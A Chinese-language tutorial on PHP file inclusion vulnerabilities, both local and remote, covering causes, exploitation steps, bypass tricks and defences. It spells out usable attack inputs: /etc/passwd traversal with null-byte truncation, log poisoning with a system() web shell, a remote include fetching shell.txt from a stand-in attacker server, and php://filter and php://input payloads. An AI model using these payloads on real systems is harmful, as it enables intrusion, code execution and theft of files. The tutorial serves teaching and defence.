文件包含漏洞详解
字数 1474 2025-11-06 12:41:12
文件包含漏洞详解
1. 漏洞描述
文件包含漏洞(File Inclusion Vulnerability)是一种常见的Web安全漏洞,通常出现在应用程序动态加载文件时未对用户输入进行严格过滤的场景。漏洞分为两类:
- 本地文件包含(LFS):通过构造路径访问服务器本地的敏感文件(如
/etc/passwd)。 - 远程文件包含(RFI):通过URL加载远程恶意代码(如
http://攻击者服务器/shell.txt),实现任意代码执行。
此类漏洞多源于PHP的include()、require()等函数,但其他语言(如JSP、ASP)也可能存在类似问题。
2. 漏洞产生条件
- 动态包含机制:代码中使用包含函数且参数可控(例如
include($_GET['file']);)。 - 路径校验缺失:未对用户输入的路径进行过滤或限制。
- RFI需额外条件:PHP配置中
allow_url_include=On(默认关闭)。
3. 攻击原理与利用步骤
本地文件包含(LFS)示例:
假设存在代码:<?php include($_GET['page'] . '.php'); ?>,攻击者可通过以下步骤利用:
-
目录遍历:
- 正常请求:
/index.php?page=about→ 包含about.php。 - 攻击请求:
/index.php?page=../../etc/passwd%00(利用空字节%00截断后缀.php)。 - 结果:服务器返回
/etc/passwd文件内容。
- 正常请求:
-
利用日志文件:
- 步骤1:将恶意代码写入User-Agent:
<?php system($_GET['cmd']); ?>。 - 步骤2:通过LFS包含日志文件(如
/var/log/apache2/access.log)。 - 步骤3:传递参数
?cmd=id执行系统命令。
- 步骤1:将恶意代码写入User-Agent:
远程文件包含(RFI)示例:
- 攻击者在公网服务器放置恶意文件
shell.txt:<?php system($_GET['cmd']); ?> - 目标网站存在RFI漏洞:
/index.php?page=http://攻击者IP/shell.txt - 服务器加载远程文件并执行其中的PHP代码,攻击者通过
?cmd=命令控制服务器。
4. 进阶利用技巧
- 利用PHP伪协议:
php://filter:读取文件源码(Base64编码避免被解析):/index.php?page=php://filter/convert.base64-encode/resource=config.phpphp://input:直接执行POST数据中的代码(需allow_url_include=On):POST /index.php?page=php://input Body: <?php system('ls'); ?>
- 绕过限制:
- 路径遍历:使用
....//或编码(如%2e%2e/)绕过简单过滤。 - 后缀截断:空字节
%00(仅PHP<5.3)或长度截断(如超长路径)。
- 路径遍历:使用
5. 防御措施
- 白名单校验:仅允许包含预设的文件名(如
about|contact|home)。 - 固定目录:设置基础路径(如
include("./pages/" . $file);)。 - 禁用危险函数:关闭
allow_url_include和allow_url_fopen。 - 过滤特殊字符:拒绝包含
../、http://、php://等协议。 - 文件后缀限制:避免动态拼接后缀,或强制校验文件扩展名。
6. 实际案例
- WordPress插件漏洞:历史上多个插件因未过滤
include参数导致LFS/RFI。 - Metasploit模块:内置
exploit/multi/php/php_include用于自动化RFI攻击。
通过以上分析,文件包含漏洞的核心在于“用户控制文件路径”,防御需从输入校验和服务器配置两方面入手。